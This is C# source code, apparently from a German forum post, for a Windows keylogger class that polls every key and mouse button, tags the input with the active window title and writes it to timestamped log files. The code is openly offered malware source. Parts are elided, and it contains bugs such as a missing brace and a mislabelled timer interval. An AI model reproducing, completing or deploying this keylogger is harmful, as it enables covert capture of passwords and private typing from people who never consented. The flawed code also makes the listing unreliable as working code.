Imports in Deklarationen aus Platzgründen weggelassen
namespace NetKeyLogger
{
public class Keylogger
{
public Keylogger()
{
hWndTitle = ActiveApplTitle();
hWndTitlePast = hWndTitle;
keyBuffer = "";
this.timerKeyMine = new System.Timers.Timer();
this.timerKeyMine.Enabled = true;
this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
this.timerKeyMine.Interval = 10;
this.timerBufferFlush = new System.Timers.Timer();
this.timerBufferFlush.Enabled = true;
this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
this.timerBufferFlush.Interval = 40000; // 5 minutes
}
public static string ActiveApplTitle()
{
int hwnd = GetForegroundWindow();
StringBuilder sbTitle = new StringBuilder(1024);
int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
string title = sbTitle.ToString();
return title;
private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
hWndTitle = ActiveApplTitle();
if (hWndTitle != hWndTitlePast)
{
if (LOG_OUT == "file")
keyBuffer += "[" + hWndTitle + "]";
else
{
Flush2File("[" + hWndTitle + "]");
if (keyBuffer.Length > 0)
Flush2Console(keyBuffer, false);
}
hWndTitlePast = hWndTitle;
}
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
{
if (ControlKey)
{
if (!tglControl)
{
tglControl = true;
keyBuffer += "<Ctrl=On>";
}
}
else
{
if (tglControl)
{
tglControl = false;
keyBuffer += "<Ctrl=Off>";
}
}
if (AltKey)
{
if (!tglAlt)
{
tglAlt = true;
keyBuffer += "<Alt=On>";
}
}
else
{
if (tglAlt)
{
tglAlt = false;
keyBuffer += "<Alt=Off>";
}
}
if (CapsLock)
{
if (!tglCapslock)
{
tglCapslock = true;
keyBuffer += "<CapsLock=On>";
}
}
else
{
if (tglCapslock)
{
tglCapslock = false;
keyBuffer += "<CapsLock=Off>";
}
}
if (Enum.GetName(typeof(Keys), i) == "LButton")
keyBuffer += "<LMouse>";
(...)
else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
keyBuffer += "<Win>";
if (ShiftKey)
{
if (i >= 65 && i <= 122)
{
keyBuffer += (char)i;
}
else if (i.ToString() == "49")
keyBuffer += "!";
else if (i.ToString() == "50")
keyBuffer += "@";
else if (i.ToString() == "51")
keyBuffer += "#";
else if (i.ToString() == "52")
keyBuffer += "$";
else if (i.ToString() == "53")
keyBuffer += "%";
(...)
}
else
{
if (i >= 65 && i <= 122)
{
keyBuffer += (char)(i + 32);
}
else if (i.ToString() == "49")
keyBuffer += "1";
(...)
}
}
}
}
#region toggles
public static bool ControlKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
}
public static bool ShiftKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
}
public static bool CapsLock
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
}
public static bool AltKey
{
get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
}
#endregion
private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
if (LOG_OUT == "file")
{
if (keyBuffer.Length > 0)
Flush2File(LOG_FILE);
}
else
{
if (keyBuffer.Length > 0)
Flush2Console(keyBuffer, false);
}
}
public void Flush2Console(string data, bool writeLine)
{
if (writeLine)
Console.WriteLine(data);
else
{
Console.Write(data);
keyBuffer = "";
}
}
public void Flush2File(string file)
{
string AmPm = "";
try
{
if (LOG_MODE == "hour")
{
if (DateTime.Now.TimeOfDay.Hours >= 0 && DateTime.Now.TimeOfDay.Hours <= 11)
AmPm = "AM";
else
AmPm = "PM";
file += "_" + DateTime.Now.ToString("hh") + AmPm + ".log";
}
else
file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + ".log";
FileStream fil = new FileStream(file.Replace("*",""), FileMode.Append, FileAccess.Write);
using (StreamWriter sw = new StreamWriter(fil))
{
sw.Write(keyBuffer);
}
keyBuffer = "";
}
catch (Exception ex)
{
throw;
}
}
#region Properties
public System.Boolean Enabled
{
get
{
return timerKeyMine.Enabled && timerBufferFlush.Enabled;
}
set
{
timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
}
}
public System.Double FlushInterval
{
get
{
return timerBufferFlush.Interval;
}
set
{
timerBufferFlush.Interval = value;
}
}
public System.Double MineInterval
{
get
{
return timerKeyMine.Interval;
}
set
{
timerKeyMine.Interval = value;
}
}
#endregion
}
}
[/PHP]
